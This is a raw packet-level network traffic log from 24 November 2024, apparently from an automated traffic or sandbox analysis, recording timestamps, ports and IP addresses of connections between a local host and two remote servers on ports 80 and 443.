Nov 24, 2024 00:06:24.939049006 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.939116955 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.939124107 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.939311028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.939369917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.939388990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.939445019 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.939483881 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.939786911 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.939809084 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.939866066 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.939872980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.939903021 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.939991951 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.940485954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.940536976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.940536976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.940586090 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.941735983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.941842079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.941843987 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.941919088 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.942899942 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.942939043 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.943044901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.944037914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.944097042 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.949143887 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.949160099 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.949243069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.949254036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.949353933 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.950196028 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.950222969 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.950264931 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.950272083 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.950345039 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.950969934 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.950984955 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.951070070 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.951080084 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.951147079 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.960640907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.960663080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.960726023 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.960736036 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.960757971 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.960979939 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961182117 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961206913 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961285114 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961285114 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961292982 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961401939 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961483955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961503983 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961553097 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961559057 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.961611032 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.961695910 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.971708059 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.971725941 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.971812963 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.971822023 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.971868038 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.973790884 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.973808050 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.973865032 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.973875046 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.973961115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.986191034 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.986208916 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.986288071 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.986305952 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.986327887 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.986382961 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.997685909 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.997706890 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.997800112 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.997800112 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.997818947 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.997900009 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.008378029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.008424044 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.008440971 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.008466005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.008485079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.008531094 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.008549929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.008584023 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.008639097 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.008794069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.008862972 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.008863926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.008934975 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.009727001 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.009742022 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.009835005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.010628939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.010741949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.010751009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.010972023 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.011548996 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.011620998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.011710882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.011799097 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.012460947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.012581110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.012587070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.012662888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.013401031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.013462067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.013519049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.013573885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.014309883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.014389992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.014477968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.015254974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.015306950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.015341043 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.015372992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.016164064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.016177893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.016261101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.017132998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.017210960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.017282963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.017468929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.017997026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.018080950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.018101931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.018181086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.018940926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.018948078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.019068956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.019833088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.019948959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.020030975 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.020200968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.020760059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.020778894 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.020796061 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.020836115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.020905972 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.020919085 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.020941019 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.021023989 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.021024942 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.021661997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.021735907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.021771908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.021833897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.022583961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.022699118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.022770882 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.023502111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.023607969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.023618937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.023647070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.024466038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.024533033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.024544954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.024576902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.025331974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.025388956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.025422096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.025568008 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.026261091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.026273966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.026416063 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.027532101 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.027539015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.027585030 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.028088093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.028134108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.028167963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.028167963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.028974056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.029098988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.032824039 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.032845974 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.032915115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.032926083 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.032953024 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.032983065 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057220936 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057229042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057275057 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057280064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057301998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057324886 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057339907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057401896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057420969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057426929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057442904 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057450056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057471991 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057492018 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057492018 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057502985 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057509899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057518005 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057518005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057553053 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057574987 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057600021 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057617903 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057656050 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057663918 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.057693958 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057717085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057723999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057743073 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.057749987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057794094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057794094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057801962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.057879925 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.057965994 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.058007002 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.058033943 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.058039904 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.058070898 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.058144093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.058943033 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059030056 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.059035063 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059046984 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059094906 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.059297085 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059362888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059374094 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.059380054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059413910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059492111 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.059492111 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.059501886 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.059612036 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.065078020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.065116882 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.065188885 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.065196991 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.065325022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.065325022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.067353010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.067369938 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.067456007 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.067467928 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.067478895 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.067511082 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.072617054 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.072658062 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.072721004 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.072721004 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.072731972 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.073472977 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.075607061 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.075644016 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.075683117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.075690985 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.075722933 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.075768948 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.081669092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.081712961 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.081809044 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.081809044 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.081825972 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.081876040 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.084880114 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.084897995 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.084984064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.084984064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.084992886 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.085057020 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.088828087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.088871956 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.088923931 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.088934898 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.088947058 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.089680910 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092050076 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092077971 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092128038 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092137098 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092159986 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092181921 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092593908 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092612982 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092658043 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092664957 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.092710018 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.092734098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.097248077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.097290039 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.097357988 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.097357988 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.097369909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.097412109 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.099621058 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.099642992 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.099693060 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.099700928 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.099735022 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.099781036 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.104964972 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.104990005 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.105114937 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.105125904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.105180979 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.107182026 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.107203007 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.107265949 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.107274055 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.107320070 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.112354994 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.112370968 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.112473011 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.112473011 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.112483978 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.112684965 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.114273071 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.114295006 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.114332914 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.114340067 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.114388943 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.114475965 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.120917082 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.120986938 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.121012926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.121022940 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.121083021 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.121130943 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.122282028 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.122302055 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.122381926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.122381926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.122390032 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.122513056 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.129301071 CET	443	49727	150.171.27.10	192.168.2.6
